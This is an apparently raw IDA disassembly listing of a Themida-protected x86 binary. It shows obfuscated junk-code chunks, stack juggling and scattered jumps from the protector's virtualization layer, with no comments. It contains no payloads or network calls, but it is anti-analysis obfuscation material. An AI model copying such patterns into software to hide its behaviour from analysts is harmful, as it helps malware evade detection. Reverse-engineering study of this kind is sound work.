loc_59FC68:				; CODE XREF: sub_5A28F6+28j
		sub	esi, 4
		push	4AB5h
		mov	[esp+0Ch+var_C], esi
		push	[esp+0Ch+var_8]
		pop	esi
		pop	[esp+0Ch+var_C]
		jmp	loc_598676
; END OF FUNCTION CHUNK	FOR sub_5A28F6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59FC83:				; CODE XREF: sub_59390B+10AFDj
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_599792
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59FC96:				; CODE XREF: Themida_:005A2EBAj
		mov	[esp], edi
		push	esi
		push	esp
		pop	esi
		push	edx
		jmp	loc_5960BD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A09BC


loc_59FCA2:				; CODE XREF: sub_5A09BC-53BFj
		mov	esp, [esp-0Ch+arg_8]
		btc	word ptr [esp-0Ch+arg_8], ax
		pushf
		jmp	loc_590A9B
; END OF FUNCTION CHUNK	FOR sub_5A09BC
; ---------------------------------------------------------------------------


loc_59FCB0:				; CODE XREF: Themida_:005A025Fj
		xor	edx, 1B9C09Bh
		mov	ebx, edx
		pop	edx
		jmp	loc_590A9B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A17BF


loc_59FCBE:				; CODE XREF: sub_5A17BF-6F65j
		pop	edx
		not	edx
		jmp	loc_590E0F
; END OF FUNCTION CHUNK	FOR sub_5A17BF
; ---------------------------------------------------------------------------


loc_59FCC6:				; CODE XREF: Themida_:0059E9C6j
		jmp	loc_590A9B

; =============== S U B	R O U T	I N E =======================================



sub_59FCCB	proc near		; CODE XREF: sub_5A39E6+Cj

var_1C		= dword	ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0059198E SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005921E4 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00592736 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005927B1 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00592C21 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00592DEF SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0059326D SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00593717 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00594700 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00594AB6 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00595084 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005954A1 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005954C1 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005964CB SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00596586 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00596C22 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00598D6D SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00598F95 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00599C8D SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0059A5B5 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059A6B6 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0059B000 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059B23B SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059B6D8 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059C0D9 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059CD91 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059D0F8 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0059D186 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059DEE1 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0059DF10 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0059EB56 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A0C26 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005A1334 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005A23F4 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A314A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A3337 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A336E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A4717 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A47AE SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A4F7D SIZE 0000000B BYTES

		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		push	ebx
		jmp	loc_595084
sub_59FCCB	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_59FCDA:				; CODE XREF: Themida_:00597D00j
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		pop	dword ptr [esp]
		pop	esp
		div	cl
		movzx	cx, ah
		push	small 64EAh
		mov	[esp], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_590A9B
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	edi
		mov	edi, esp
		push	ebp
		jmp	loc_591524
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59FD11:				; CODE XREF: sub_59390B+5C56j
		sub	ebx, 83006C0h
		jmp	loc_59BEFB
; ---------------------------------------------------------------------------


loc_59FD1C:				; CODE XREF: sub_59390B+F752j
		xchg	eax, [esp-0Ch+arg_4]
		pop	esp
		mov	[esp-10h+arg_8], edi
		mov	edi, 1CFB2D3Bh
		jmp	loc_5A129F
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595941


loc_59FD2D:				; CODE XREF: sub_595941+3j
		add	ebx, 4
		push	ecx
		jmp	loc_597EA3
; END OF FUNCTION CHUNK	FOR sub_595941
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59E918


loc_59FD39:				; CODE XREF: sub_59E918-8CEDj
		inc	al
		sub	al, 0D4h
		push	ebx
		mov	bl, al
		jmp	loc_59E742
; END OF FUNCTION CHUNK	FOR sub_59E918

; =============== S U B	R O U T	I N E =======================================



sub_59FD45	proc near		; CODE XREF: sub_5A2196-74BDj

var_1C		= dword	ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00590CED SIZE 00000025 BYTES
; FUNCTION CHUNK AT 005917A9 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00592155 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00594CA3 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00595527 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0059612C SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0059652F SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00596C3F SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00596F8A SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00597F6D SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005980C7 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00599AED SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059A1CF SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059B274 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0059B4A9 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059B88F SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059BC23 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0059BD1A SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059D0E9 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059D4ED SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059F526 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059FAFF SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059FC5B SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A00A8 SIZE 00000030 BYTES
; FUNCTION CHUNK AT 005A0A26 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A1B70 SIZE 00000053 BYTES
; FUNCTION CHUNK AT 005A3E4A SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A4490 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A4654 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005A48E0 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A5824 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005A5AA9 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 005A5B94 SIZE 00000008 BYTES

		push	ebp
		push	[esp+8+var_4]
		pop	ebp
		jmp	loc_59B88F
sub_59FD45	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_592586


loc_59FD50:				; CODE XREF: sub_592586+6471j
		mov	ebp, esi
		mov	eax, ebp
		pop	ebp
		pop	esi
		jmp	loc_59AF5E
; END OF FUNCTION CHUNK	FOR sub_592586
; ---------------------------------------------------------------------------


loc_59FD5B:				; CODE XREF: Themida_:00599780j
		xchg	ecx, [esp]
		pop	esp
		push	edi
		mov	edi, 787647Eh
		inc	edi
		shl	edi, 8
		and	edi, 5CE37489h
		push	eax
		mov	eax, 3164B60h
		xor	eax, 112E6C6Bh
		jmp	loc_59A647
; ---------------------------------------------------------------------------


loc_59FD7F:				; CODE XREF: Themida_:005987E9j
		push	esi
		mov	esi, 9EC9B2B5h
		add	ebx, 65FC6010h
		add	ebx, esi
		sub	ebx, 65FC6010h
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_59AAC3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59FDA1:				; CODE XREF: sub_59390B+964j
		neg	esi
		jmp	loc_5923A5
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59FDA8:				; CODE XREF: Themida_:005A420Dj
		add	ebx, 4
		push	eax
		jmp	loc_591EFB
; ---------------------------------------------------------------------------


loc_59FDB4:				; CODE XREF: Themida_:0059C8D6j
		add	edi, 1604478Ch
		push	dword ptr [esp]
		pop	eax
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	edi
		mov	edi, 0F0C59B1h
		shl	edi, 1
		neg	edi
		or	edi, 447839FDh
		shr	edi, 8
		sub	edi, 61322A36h
		push	ecx
		jmp	loc_5A5109
; ---------------------------------------------------------------------------


loc_59FDE6:				; CODE XREF: Themida_:005A2441j
		cmp	cl, al
		pushf
		jmp	loc_590A9B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5936EC


loc_59FDEE:				; CODE XREF: sub_5936EC+C8B6j
		sub	ebp, 11B72D4h
		add	ebp, edx
		jmp	loc_597375
; END OF FUNCTION CHUNK	FOR sub_5936EC
; ---------------------------------------------------------------------------


loc_59FDFB:				; CODE XREF: Themida_:0059E34Aj
		xor	edx, 4AA08444h
		jmp	loc_5A2145
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59FE06:				; CODE XREF: sub_59390B+ACA0j
		push	2B43h
		mov	[esp+14h+var_14], edx
		push	edi
		mov	edi, 1D3C181Fh
		mov	edx, edi
		pop	edi
		sub	ebx, edx
		pop	edx
		add	ebx, 5246AEAh
		jmp	loc_5985CA
; ---------------------------------------------------------------------------


loc_59FE25:				; CODE XREF: sub_59390B+49BDj
		push	esi
		jmp	loc_59A7B1
; ---------------------------------------------------------------------------


loc_59FE2B:				; CODE XREF: sub_59390B-1042j
		pop	esi
		pop	[esp-8+arg_0]
		pop	esp
		push	2958h
		mov	[esp-0Ch+arg_4], esi
		push	42Ch
		mov	[esp-8+arg_0], edx
		push	3EBC41B5h
		pop	edx
		push	2131h
		mov	[esp+0], ecx
		sub	esp, 4
		jmp	loc_5A2069
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59FE56:				; CODE XREF: Themida_:00599C17j
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_592951
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F8C2


loc_59FE63:				; CODE XREF: sub_59F8C2+F0Bj
		mov	ebx, 0F869E22Eh
		add	ebp, ebx
		pop	ebx
		add	eax, ebp
		pop	ebp
		jmp	loc_593C16
; END OF FUNCTION CHUNK	FOR sub_59F8C2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1E76


loc_59FE73:				; CODE XREF: sub_5A1E76-3CB9j
		sub	esi, 18623B74h
		jmp	sub_59CF38
; END OF FUNCTION CHUNK	FOR sub_5A1E76
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59FE7E:				; CODE XREF: sub_59390B-2D31j
		pop	ebx
		push	esi
		mov	esi, 2
		add	ecx, esi
		jmp	loc_599DA8
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59FE8C:				; CODE XREF: Themida_:005A3B98j
		pop	esi
		xor	esi, 0A0D64BFh
		or	esi, 45F83E09h
		push	ebx
		jmp	loc_5A50DE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F401


loc_59FE9F:				; CODE XREF: sub_59F401-38Bj
		pop	esi
		jmp	loc_599CA4
; END OF FUNCTION CHUNK	FOR sub_59F401
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590AC5


loc_59FEA5:				; CODE XREF: sub_590AC5+1EF5j
		push	dword ptr [esp+0]
		pop	edi
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		jmp	loc_59CA88
; END OF FUNCTION CHUNK	FOR sub_590AC5
; ---------------------------------------------------------------------------


loc_59FEB7:				; CODE XREF: Themida_:0059CEC3j
		add	esi, 142224h
		add	esi, ebp
		sub	esi, 142224h
		pop	ebp
		jmp	loc_59717C
; ---------------------------------------------------------------------------


loc_59FECB:				; CODE XREF: Themida_:0059EF83j
		not	edx
		xor	edx, 0A6219004h
		jmp	loc_594FE7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59FED8:				; CODE XREF: sub_59390B+C68Cj
		mov	ebp, [esp-8+arg_0]
		push	ecx
		push	esp
		jmp	loc_59E7E4
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59E918


loc_59FEE2:				; CODE XREF: sub_59E918-659Aj
		dec	byte ptr [esp+10h+var_10+1]
		pop	ax
		mov	cl, ah
		mov	ax, word ptr [esp+0Eh+var_10+2]
		add	esp, 2
		sub	cl, 0BBh
		sub	cl, 94h
		jmp	loc_594574
; END OF FUNCTION CHUNK	FOR sub_59E918
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D1FC


loc_59FEFC:				; CODE XREF: sub_59D1FC-826Cj
		not	ebx
		jmp	loc_59C70F
; END OF FUNCTION CHUNK	FOR sub_59D1FC
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	edx
		jmp	loc_597567
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59931D


loc_59FF0D:				; CODE XREF: sub_59931D+131j
		shl	edx, 1
		push	dword ptr [edi+24h]
		push	edx
		sub	esp, 4
		jmp	loc_59A5C1
; END OF FUNCTION CHUNK	FOR sub_59931D
; ---------------------------------------------------------------------------


loc_59FF1B:				; CODE XREF: Themida_:00594EC3j
		push	eax
		mov	eax, 417B253Bh
		add	ecx, eax
		pop	eax
		add	eax, ecx
		pop	ecx
		sub	eax, 2AE14CADh
		jmp	loc_599F02
; ---------------------------------------------------------------------------


loc_59FF31:				; CODE XREF: Themida_:00594DE3j
		mov	[esp], esi
		mov	esi, 2E430BCCh
		jmp	loc_594B83
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59FF3E:				; CODE XREF: sub_59390B+EAB9j
		sub	esi, ebx
		pop	ebx
		jmp	loc_5A2EF0
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59FF46:				; CODE XREF: Themida_:0059C23Fj
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_59C1BC
; ---------------------------------------------------------------------------


loc_59FF51:				; CODE XREF: Themida_:00598347j
		mov	bl, 45h
		or	bl, 0BBh
		shr	bl, 4
		push	ax
		jmp	loc_5A004E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59605F


loc_59FF60:				; CODE XREF: sub_59605F-3305j
		add	esi, 4
		xchg	esi, [esp+4+var_4]
		jmp	loc_599CAA
; END OF FUNCTION CHUNK	FOR sub_59605F
; ---------------------------------------------------------------------------


loc_59FF6E:				; CODE XREF: Themida_:005A461Ej
		push	esi
		jmp	loc_59AE04
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59FF74:				; CODE XREF: sub_59390B+97AAj
		xor	ecx, esi
		jmp	loc_59EA83
; ---------------------------------------------------------------------------


loc_59FF7B:				; CODE XREF: sub_59390B+983j
		mov	esi, esp
		add	esi, 4
		push	ebp
		mov	ebp, 4
		add	esi, 68D1E1Eh
		add	esi, ebp
		sub	esi, 68D1E1Eh
		jmp	loc_59FED8
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5936EC


loc_59FF9C:				; CODE XREF: sub_5936EC+26j
		push	edx
		mov	edx, 1
		jmp	loc_59FDEE
; END OF FUNCTION CHUNK	FOR sub_5936EC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595949


loc_59FFA7:				; CODE XREF: sub_595949-381Cj
		mov	edi, 2
		mov	esi, edi
		pop	edi
		add	ebp, esi
		mov	esi, [esp+4+var_4]
		add	esp, 4
		xor	ebp, [esp+0]
		xor	[esp+0], ebp
		xor	ebp, [esp+0]
		pop	esp
		push	6C5Fh
		jmp	loc_599D7A
; END OF FUNCTION CHUNK	FOR sub_595949
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59FFCE:				; CODE XREF: sub_59390B+9C2Cj
		xor	dh, 0A0h
		add	dh, 0BAh
		dec	dh
		add	dh, 1Bh
		jmp	loc_5A396C
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_598BAA


loc_59FFDE:				; CODE XREF: sub_598BAA+A79Fj
		xor	[esp+0], ebp
		jmp	loc_5960DD
; END OF FUNCTION CHUNK	FOR sub_598BAA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59918B


loc_59FFE6:				; CODE XREF: sub_59918B-3F34j
		add	esp, 4
		jmp	loc_5969C8
; END OF FUNCTION CHUNK	FOR sub_59918B
; ---------------------------------------------------------------------------


loc_59FFF1:				; CODE XREF: Themida_:00595074j
		mov	edi, 781F3B0Dh
		add	ebp, edi
		pop	edi
		sub	ebp, ebx
		push	esi
		jmp	loc_596425
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_592CEE


loc_5A0001:				; CODE XREF: sub_592CEE+7E17j
		pop	ebx
		mov	ecx, [esp-4+arg_0]
		add	esp, 4
		sub	esp, 4
		mov	[esp-4+arg_0], ebx
		mov	bh, ah
		mov	dl, bh
		pop	ebx
		pop	eax
		mov	ebx, [esp+0]
		add	esp, 4
		mov	[ebx], dl
		jmp	loc_591D4D
; END OF FUNCTION CHUNK	FOR sub_592CEE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A17BF


loc_5A0024:				; CODE XREF: sub_5A17BF-4BECj
		pop	ebp
		add	eax, 115D4D05h
		sub	eax, ebx
		jmp	loc_59C79E
; END OF FUNCTION CHUNK	FOR sub_5A17BF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59E918


loc_5A0031:				; CODE XREF: sub_59E918+37F3j
		pop	esi
		inc	esi
		add	esi, 260D4A2Eh
		sub	esi, 3B423F90h
		jmp	loc_5A3E7F
; END OF FUNCTION CHUNK	FOR sub_59E918
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A0044:				; CODE XREF: sub_59390B+27F0j
		push	0C85h
		jmp	loc_59D664
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5A004E:				; CODE XREF: Themida_:0059FF5Bj
		mov	al, 0C4h
		sub	bl, al
		pop	ax
		not	bl
		xor	bl, 8Eh
		mov	dl, bl
		jmp	loc_5A4A10

; =============== S U B	R O U T	I N E =======================================



sub_5A0060	proc near		; CODE XREF: sub_59390B+F888j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00594AA6 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00595741 SIZE 00000033 BYTES
; FUNCTION CHUNK AT 00595DAE SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059BA0A SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059DAEF SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0059ED29 SIZE 00000041 BYTES
; FUNCTION CHUNK AT 005A119D SIZE 0000001E BYTES
; FUNCTION CHUNK AT 005A1D12 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005A4994 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005A58A4 SIZE 00000008 BYTES

		push	ebx
		mov	ebx, 4
		jmp	loc_59BA0A
sub_5A0060	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_5A006B:				; CODE XREF: Themida_:0059ECFCj
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		jmp	loc_595365
; ---------------------------------------------------------------------------


loc_5A0089:				; CODE XREF: Themida_:005985F3j
		add	esp, 4
		mov	ebx, [esp]
		add	esp, 4
		push	0E51h
		mov	[esp], ecx
		push	edx
		mov	dl, 6
		mov	ch, dl
		pop	edx
		jmp	loc_5A03DF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FD45


loc_5A00A8:				; CODE XREF: sub_59FD45-9C00j
		mov	[esp+10h+var_10], eax
		push	ecx
		mov	ecx, 3A253CDBh
		sub	ecx, 5760E5Dh
		add	ecx, 230A1BB2h
		push	ecx
		xor	dword ptr [esp+0], 184D4DACh
		pop	eax
		push	1369h
		mov	[esp+0], esi
		mov	esi, 184D4DACh
		jmp	loc_5A48E0
; END OF FUNCTION CHUNK	FOR sub_59FD45
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A4D6


loc_5A00D8:				; CODE XREF: sub_59A4D6+2EB5j
		mov	edi, [esp+0]
		sub	esp, 4
		mov	[esp+0], eax
		push	esp
		jmp	loc_5A27B9
; END OF FUNCTION CHUNK	FOR sub_59A4D6
; ---------------------------------------------------------------------------


loc_5A00E7:				; CODE XREF: Themida_:005A3BA6j
		pop	eax
		add	eax, 4
		push	edi
		jmp	loc_59311F
; ---------------------------------------------------------------------------


loc_5A00F3:				; CODE XREF: Themida_:0059B783j
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	eax
		jmp	loc_590E17
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59E918


loc_5A0100:				; CODE XREF: sub_59E918-D174j
		pop	ebx
		jmp	loc_5A49C3
; END OF FUNCTION CHUNK	FOR sub_59E918
; ---------------------------------------------------------------------------


loc_5A0106:				; CODE XREF: Themida_:005959E9j
		sub	eax, 4471BF4h
		push	48CAh
		mov	[esp], edx
		jmp	loc_5A3F37
; ---------------------------------------------------------------------------


loc_5A0118:				; CODE XREF: Themida_:0059F606j
		push	ebx
		mov	bl, 9Fh
		jmp	loc_591E3F
; ---------------------------------------------------------------------------


loc_5A0120:				; CODE XREF: Themida_:005A257Dj
		add	ebx, edx
		sub	ebx, 4CD82756h
		pop	edx
		jmp	loc_591725
; ---------------------------------------------------------------------------


loc_5A012E:				; CODE XREF: Themida_:005A1889j
		mov	ebp, edx
		jmp	loc_5A3163
; ---------------------------------------------------------------------------


loc_5A0135:				; CODE XREF: Themida_:0059F94Aj
		pop	eax
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_594456
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CFD4


loc_5A014A:				; CODE XREF: sub_59CFD4-C13Dj
		inc	[esp+18h+var_18]
		pop	eax
		sub	esp, 4
		mov	[esp+18h+var_18], ebx
		sub	esp, 4
		mov	[esp+1Ch+var_1C], edx
		mov	edx, 47600014h
		and	edx, 28AB18CFh
		add	edx, 21ED4180h
		shr	edx, 7
		inc	edx
		sub	edx, 0EA30FFA6h
		jmp	loc_59DF29
; END OF FUNCTION CHUNK	FOR sub_59CFD4
; ---------------------------------------------------------------------------


loc_5A0180:				; CODE XREF: Themida_:00590E70j
		sub	esi, (offset loc_42447A+2)
		add	ebp, esi
		pop	esi
		push	6A5Ah
		mov	[esp], ebp
		push	dword ptr [esp+4]
		jmp	loc_59CD80
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A019A:				; CODE XREF: sub_59390B+CB1j
		add	esi, 0D46D5410h
		sub	esi, 6B691968h
		not	esi
		jmp	loc_5A0E43
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5A01AD:				; CODE XREF: Themida_:005A32D0j
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_5A4FD1
; ---------------------------------------------------------------------------


loc_5A01C7:				; CODE XREF: Themida_:00590FB9j
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	ebx
		mov	ebx, 4
		add	ecx, 509D4593h
		jmp	loc_5962DE
; ---------------------------------------------------------------------------


loc_5A01E5:				; CODE XREF: Themida_:00598011j
		mov	ebp, 35766794h
		and	edx, ebp
		pop	ebp
		neg	edx
		jmp	loc_59B221
; ---------------------------------------------------------------------------


loc_5A01F4:				; CODE XREF: Themida_:005972B9j
		mov	cl, dh
		pop	edx
		push	eax
		mov	al, cl
		jmp	loc_59A85F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A01FF:				; CODE XREF: sub_59390B+5CA5j
		add	eax, 36590F64h
		sub	eax, ecx
		sub	eax, 36590F64h
		sub	eax, 4A4233DDh
		push	dword ptr [esp+0]
		pop	ecx
		push	ebp
		mov	ebp, esp
		jmp	loc_5A3FB4
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_598762


loc_5A021C:				; CODE XREF: sub_598762+51D0j
		push	ecx
		jmp	loc_5989FC
; END OF FUNCTION CHUNK	FOR sub_598762
; ---------------------------------------------------------------------------
		lodsb
		xor	al, bl
		push	1098h
		jmp	loc_5A0723
; ---------------------------------------------------------------------------


loc_5A022F:				; CODE XREF: Themida_:0059E15Fj
		sub	eax, 1F8D0E33h
		mov	edx, eax
		mov	eax, [esp]
		push	ebp
		mov	ebp, esp
		push	edx
		mov	edx, 9C32084h
		add	edx, 0FFFFFFFFh
		dec	edx
		xor	edx, 9C32086h
		add	ebp, edx
		pop	edx
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		sub	edx, 1031625Bh
		shr	edx, 3
		jmp	loc_59FCB0
; ---------------------------------------------------------------------------


loc_5A0264:				; CODE XREF: Themida_:00590AC0j
		not	ecx
		sub	ecx, 8EE7891Bh
		or	esi, ecx
		pop	ecx
		or	esi, 6F1E35F4h
		xor	esi, 498F50F5h
		jmp	loc_593368
; ---------------------------------------------------------------------------


loc_5A0280:				; CODE XREF: Themida_:005A1C39j
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		push	esi
		mov	esi, 4
		push	edx
		mov	edx, 79705EDBh
		add	ebp, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_59C660
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A02AA:				; CODE XREF: sub_59390B-1DADj
		push	edi
		mov	edi, 525C3E7Ch
		or	edi, 21616871h
		jmp	loc_5A2782
; ---------------------------------------------------------------------------


loc_5A02BB:				; CODE XREF: sub_59390B+8542j
		xchg	edi, [esp-14h+arg_C]
		pop	esp
		add	al, 0EFh
		sub	al, dh
		sub	al, 0EFh
		jmp	loc_593E89
; ---------------------------------------------------------------------------


loc_5A02CA:				; CODE XREF: sub_59390B+CEB2j
		not	ebx
		xchg	ebx, ebp
		xchg	ebx, ebp
		push	ebx
		push	edi
		pop	ebx
		pop	edi
		push	426Eh
		mov	[esp-14h+arg_C], edi
		dec	[esp-14h+arg_C]
		not	[esp-14h+arg_C]
		jmp	loc_59A6EE
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0733


loc_5A02E7:				; CODE XREF: sub_5A0733-4595j
		pop	eax
		push	edi
		mov	edi, 3E336ACCh
		jmp	loc_59A450
